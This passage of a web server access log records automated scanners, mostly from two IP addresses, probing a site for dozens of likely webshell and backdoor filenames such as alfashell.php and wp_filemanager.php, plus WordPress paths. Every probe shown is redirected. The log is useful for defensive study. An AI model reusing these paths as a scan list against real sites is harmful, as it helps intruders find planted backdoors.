795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:14:01 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:14:42 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:15:23 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:17:44 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:22 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:57:55 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:57:59 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:01:11 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:04:38 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:05:58 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:06:02 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:08:26 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:08:26 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:08:49 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:10:50 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:12:05 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:12:20 +0300] "GET /tymn.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:13:45 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:13:46 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:15:36 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:16:18 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:16:18 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:16:19 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:16:37 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:57:33 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:59:02 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:59:42 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:59:53 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:00:02 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:00:56 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:01:38 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:01:41 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:02:36 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:02:49 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:05:22 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:05:49 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:06:41 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:07:06 +0300] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:07:21 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:07:22 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:08:00 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:08:10 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:30 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:30 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:59 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:10:16 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:11:38 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:11:38 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:13:55 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:17:12 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:17:17 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:17:23 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:17:27 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:17:30 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:17:34 +0300] "GET //log.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:17:51 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:36 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:40 +0300] "GET /flower2.php HTTP/1.1" 301 795 "-" "-" 167.172.93.181 - - [28/Feb/2026:20:23:49 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.135.148.92 - - [28/Feb/2026:19:10:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.11.236 - - [28/Feb/2026:19:58:08 +0300] "GET //sys.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:59:26 +0300] "GET /btx25.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:03:40 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:04:02 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:04:44 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:04:59 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:05:00 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:06:56 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:10:07 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:10:07 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:11:23 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:11:44 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:12:11 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:14:33 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:01 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:10 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:14 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:18 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:47 +0300] "GET /4h.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:54 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:19:09 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:57:03 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:57:13 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:58:21 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:00:17 +0300] "GET /wsvvs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:00:41 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:01:26 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:02:07 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:08:41 +0300] "GET /fleen.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:12:00 +0300] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:13:02 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:13:17 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:14:58 +0300] "GET /hi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:15:09 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:16:04 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:16:27 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:58:48 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:59:17 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:01:31 +0300] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:01:32 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:06:13 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:07:45 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:00 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:10:31 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:11:13 +0300] "GET //wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:11:30 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:11:31 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:12:35 +0300] "GET //bak.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:14:24 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:15:49 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:05 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:56:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:58:37 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:01:52 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:01:52 +0300] "GET //assets/css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:02:20 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:02:20 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:04:20 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:05:31 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:05:37 +0300] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:06:28 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:06:29 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:07:37 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:24 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:51 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:51 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:52 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:10:38 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:12:50 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:16:43 +0300] "GET /x123x.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:19:19 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 150.109.236.146 - - [28/Feb/2026:20:42:18 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 144.172.114.76 - - [28/Feb/2026:20:47:18 +0300] "GET /wp-includes/js/admin-bar.js HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 20.151.2.242 - - [28/Feb/2026:21:20:34 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.149.173.227 - - [28/Feb/2026:21:57:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 198.235.24.104 - - [28/Feb/2026:22:10:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 20.104.206.150 - - [28/Feb/2026:23:15:14 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 62.141.44.236 - - [28/Feb/2026:23:35:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 43.138.68.113 - - [01/Mar/2026:00:22:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.163.146.197 - - [01/Mar/2026:00:23:03 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 46.47.197.210 - - [28/Feb/2026:23:50:15 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.204.200.32 - - [01/Mar/2026:00:54:14 +0300] "GET /fleen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:21 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:34 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:47 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:50 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:53 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:09 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:15 +0300] "GET /pouhg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:05 +0300] "GET /dsd.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:08 +0300] "GET /guk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:11 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:13 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:16 +0300] "GET /file52.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:18 +0300] "GET /tax.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:20 +0300] "GET /an7.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:21 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:23 +0300] "GET /brc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:24 +0300] "GET //koiy.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:27 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:29 +0300] "GET /fr/ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:32 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:34 +0300] "GET /gool.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:36 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:38 +0300] "GET /mans.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:41 +0300] "GET /rum.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:44 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:47 +0300] "GET /wio.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:49 +0300] "GET /clasa99.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:51 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:54 +0300] "GET /ws62.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:56 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:59 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:18 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:21 +0300] "GET /wpo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:26 +0300] "GET /jq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:06 +0300] "GET /opts.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:26 +0300] "GET /nhr.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:33 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:36 +0300] "GET /ws79.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:39 +0300] "GET /1061.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:43 +0300] "GET /zwq13.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:46 +0300] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:49 +0300] "GET /05.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:53 +0300] "GET /zxin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:56 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:56 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:57 +0300] "GET /wp-admin/sc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:16 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:14 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:39 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:53 +0300] "GET /public/wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:55 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:58 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:11 +0300] "GET /nzv.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:25 +0300] "GET /end.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:28 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:02:36 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:02:42 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:02:48 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:51 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:05:01 +0300] "GET /sdsa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:05:22 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:05:26 +0300] "GET /100.kb.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:39 +0300] "GET /btx25.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:44 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:46 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:50 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:53 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:56 +0300] "GET /wsws.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:59 +0300] "GET /G-in.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:13 +0300] "GET /loxi-o.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:26 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:30 +0300] "GET //wp-includes/js/tinymce/themes/inlite HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:30 +0300] "GET /olfclass.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:59 +0300] "GET /wpver.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:03 +0300] "GET /public/hi.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:04 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:08 +0300] "GET /cxc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:10 +0300] "GET /gjm.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:14 +0300] "GET /ex.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:02:57 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:27 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:29 +0300] "GET /rtx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:04:07 +0300] "GET /gec.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:04:10 +0300] "GET /sxdfrt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:05:11 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:07 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:20 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:07 +0300] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:10 +0300] "GET /bsg-management/php.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:49 +0300] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:52 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:54 +0300] "GET /ws60.php 